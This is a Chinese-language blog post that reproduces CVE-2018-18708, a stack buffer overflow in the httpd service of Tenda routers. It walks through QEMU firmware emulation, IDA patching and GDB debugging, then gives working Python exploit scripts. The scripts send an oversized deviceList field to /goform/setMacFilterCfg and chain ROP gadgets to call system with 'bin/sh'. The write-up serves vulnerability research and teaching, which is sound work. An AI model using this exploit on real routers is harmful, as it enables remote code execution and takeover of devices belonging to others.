CVE-2018-018708复现
参考:
Tenda 路由器栈溢出详细分析(CVE-2018-18708)_黑客技术 (hackdig.com)
相关信息:
NVD - CVE-2018-18708 (nist.gov)
该漏洞是处于httpd服务的缓冲区溢出漏洞,web服务器在处理post请求时,对ssid参数直接复制到栈上的一个局部变量中导致栈溢出
第一次分析固件上的漏洞 磕磕绊绊捏Orz
复现思路
通过 ubuntu-qemu 起一个模拟路由的环境 然后通过宿主机对qemu启用的web服务器进行二进制攻击
分析环境
固件服务 |
httpd(ELF) |
调试环境 |
gdb |
静态分析 |
IDA pro |
虚拟环境 |
ubuntu-qemu |
固件模拟
通过qemu模拟运行 测试服务
服务卡顿 没有启动 通过IDA进行patch 修改程序流
通过字符串定位法 来到sub_2E420
看到sleep函数 猜测就是左边的分支导致程序没有正常运行
控制这个分支调跳转的是check_network函数
然后就是另外的ConnectCfm函数 检查网络连接状态
patch了这两个跳转 直接上永真
程序有继续运行 但提示服务连接失败 以及后面的httpd的监听端口有问题(起码应该是个内网IP,字符串引用看一下)
listen_ip = address <==sub_29818.g_lan_ip<==sub_2E420.strcpy(g_lan_ip, s);
还是在sub_2E420函数
1 2 3 4 5 6 7 8 9 10 11 12 13
| LanIfName = getLanIfName(); if ( getIfIp(LanIfName, v20) < 0 ) { GetValue("lan.ip", s); strcpy(g_lan_ip, s); memset(v17, 0, sizeof(v17)); if ( !tpi_lan_dhcpc_get_ipinfo_and_status(v17) && v17[0] ) vos_strcpy(g_lan_ip, v17); } else { vos_strcpy(g_lan_ip, v20); }
|
然后就是看他需要的网卡是哪个 给它配一下
找到调用的链接库libcommon.so
1 2 3 4
| int getLanIfName() { return get_eth_name(0); }
|
这里写死的,然后继续向上找
知道了这里需要的网卡是br0 但是当前我并没有开启网卡br0 所以说 他去监听了广播
动调看一下是不是这个网卡
1
| sudo chroot . ./qemu-arm-static -g 1234 ./bin/httpd
|
1 2 3 4
| $ gdb-multiarch pwndbg> set architecture arm pwndbg> b *0x0002E6B8 pwndbg> target remote :1234
|
通过设置虚拟网桥 开启环境
环境搭建成功
漏洞分析
根据官方PoC定位到溢出点
通过引用 回溯 了解调用顺序
要进行这个溢出点 首先要在 a1里有’\r’字符
再往上 这里的a1来自sub_2BA8C的v17 是deviceList字段的值这里面
且最后的值没有进行长度的限制 导致溢出
进行填充 通过strcpy达到栈溢出
这里又存在分支
控控制分支的是sub_C10D0函数
a1是sub_sub_2BA8C获取到的macFilterType字段的值 让为“white”或者“black”可以进入溢出点
(还需要继续往上,直到回溯到sub_2E420函数(main函数))
formSetMacFilterCfg函数 <== sub_42378
该函数中有不同功能的处理函数。请求达到的路径,会调用相应的处理函数,我们需要找到函数formSetMacfiltercfg 的路径。
这sub_179A8函数为websUrlHandlerDefine函数
将/goform设置为websFormHandler路径
/cgi-bin设置为webs_Tenda_CGI_BIN_Handler路径
结合之前的分析
我们要触发formSetMacFilterCfg函数 它请求的路径就应该是“/goform/setMacFilterCfg”
最后 构造包
1 2 3 4 5 6 7 8
| import requests url = "http://172.17.0.222/goform/setMacFilterCfg" cookie = {"Cookie":"password=quwtgb"} data = {"macFilterType": "white", "deviceList": "\r"+ "A"*500} response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data) print(response.text)
|
PoC测试
溢出PoC
测试环境
1 2 3 4 5 6 7 8 9 10
| 三个终端 1.模拟环境 sudo chroot ./ ./qemu-arm-static -g 1234 ./bin/httpd 启arm程序的模拟环境 挂载端口1234 2.gdb调试环境 $ gdb-multiarch pwndbg> set architecture arm pwndbg> target remote :1234 3.宿主机发PoC包 python req.py
|
实现溢出
利用
首先 看一下他溢出的堆栈是哪里的
回到溢出点
这里溢出的是上一个函数 也就是sub_C17A0函数传入的
他距离返回地址为176+4=180字节的距离 试试 (向deviceList字段写
1
| payload = '\r'+'a'*(180-4)+p32(0x12345678)
|
覆盖成功
接下来就是利用了
利用system函数弹”bin/sh”
和x86汇编不同的是 arm通过寄存器传参 看一下system函数的调用
通过R0存放参数
现在只需要找到能从栈中赋值R0的操作就行
ARM中的栈操作
1 2 3 4 5 6 7 8 9 10 11 12 13
| push {r4, fp, lr} ;从右往左压栈 fp为bp栈底指针 lr存放返回地址 执行该指令 栈帧如下 00:0000│ sp 0xfffef4a4 —▸ 0xff3b8 —▸ 0xff270 ◂— 1 01:0004│ 0xfffef4a8 —▸ 0xfffef5e4 —▸ 0xff5e5ed4 ◂— bl #0xff59f794 栈底指针 02:0008│ 0xfffef4ac —▸ 0x2e834 ◂— mov r3, r0 /* 0xe1a03000 */ 返回地址 03:000c│ 0xfffef4b0 ◂— 0 04:0010│ 0xfffef4b4 ◂— 0 05:0014│ 0xfffef4b8 —▸ 0xfffef674 —▸ 0xfffef785 ◂— stmdbvs r2!, {r1, r2, r3, r5, r8, sb, sl, fp, sp} ^ /* 0x69622f2e; './bin/httpd' */ 06:0018│ 0xfffef4bc ◂— 1 07:001c│ 0xfffef4c0 —▸ 0xd004 ◂— cmnvc sb, #116, #6 /* 0x73795374; 'tSysToolDDNS' */
|
1 2
| LDR R1, [SP] ; 相当于 pop R1
|
1 2
| STR R2, [SP, #4] 相当于 push R2
|
需要的指令类似于
ARM指令
参考ROP
1 2 3 4
| ╰─➤ ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r3 0x00018298 : pop {r3, pc} #gadget1 ╰─➤ ROPgadget --binary ./lib/libc.so.0 | grep "mov r0, sp" 0x00040cb8 : mov r0, sp ; blx r3 #gadget2 这里会直接跳转到R3
|
完整利用exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| from pwn import * import requests
cmd = b"echo PWN!" libc_base = 0xff58c000 system = libc_base + 0x5A270 mov_r0_ret_r3 = libc_base + 0x40cb8 pop_r3 = libc_base + 0x18298
payload = b'a'*176 payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://172.17.0.222/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"} data = {"macFilterType": "black", "deviceList": b"\r" + payload} response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data) print(response.text)
|
报错 ,但是 确实是有跳到system…QAQ 看其他师傅博客 似乎需要使用系统级进行模拟
qemu-system-arm
系统级qemu模拟 环境准备
参考师傅的 一道工控路由器固件逆向题的WriteUp - 知乎 (zhihu.com)
再次部署环境
配置网卡信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| ifconfig ens33 down # 首先关闭宿主机网卡接口 brctl addbr br0 # 添加一座名为 br0 的网桥 brctl addif br0 ens33 # 在 br0 中添加一个接口 brctl stp br0 on #打开生成树协议 brctl setfd br0 2 # 设置 br0 的转发延迟 brctl sethello br0 1 # 设置 br0 的 hello 时间 ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口 ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口 dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
brctl show br0 # 查看虚拟网桥列表 brctl showstp br0 # 查看 br0 的各接口信息
tunctl -t tap0 # 创建一个 tap0 接口 brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口 ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口 ifconfig tap0 192.168.198.100/24 up #为tap0分配ip地址
brctl showstp br0
|
拷贝固件
1
| scp ubuntu@192.168.198.146:/home/ubuntu/Desktop/squashfs-root.tar.bz2 /root/
|
挂载文件
1 2 3
| $ mount -o bind /dev ./squashfs-root/dev/ $ mount -t proc /proc/ ./squashfs-root/proc/ $ chroot squashfs-root sh # 切换根目录后执行新目录结构下的 sh shell
|
运行gdbserver
宿主机访问
关闭地址随机化
1
| echo 0 > /proc/sys/kernel/randomize_va_space
|
运行
前面的问题解决辣
就是因为地址随机化没关,虽然每次gdb调的时候它都是不变的,但是在运行的时候,他会发生改变捏。。。QAQ
完整的payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| from pwn import * import requests
#cmd = "echo PWN!" s = remote("192.168.198.76",1040,typ="udp") cmd = b"bin/sh" libc_base = 0x76dab000 system = libc_base + 0x5A270 mov_r0_ret_r3 = libc_base + 0x40cb8 pop_r3 = libc_base + 0x18298
payload = b'a'*176 #payload+= str(p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3)).encode() + cmd #payload+= str((p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3)),encoding="utf-8") + cmd payload+= p32(pop_r3) + p32(system) + p32(mov_r0_ret_r3) + cmd
url = "http://192.168.198.76/goform/setMacFilterCfg"
cookie = {"Cookie":"password=12345"} data = {"macFilterType": "black", "deviceList": b"\r" + payload} response = requests.post(url, cookies=cookie, data=data) response = requests.post(url, cookies=cookie, data=data) print(response.text)
|
这里的话,有个想法 就是怎么通过remote传这些参,(毕竟通过interactive比较好获得shell嘛)后续进一步学习吧Orz
参考:
[原创]Tenda 路由器栈溢出详细分析(CVE-2018-18708)-智能设备-看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)
CVE-2018-16333:Tenda路由器缓冲区溢出漏洞复现(含qemu调试环境搭建)-安全客 - 安全资讯平台 (anquanke.com)
(34条消息) 【从零复现CVE漏洞】Tenda 路由器栈溢出复现(CVE-2018-18708)_Razors_的博客-CSDN博客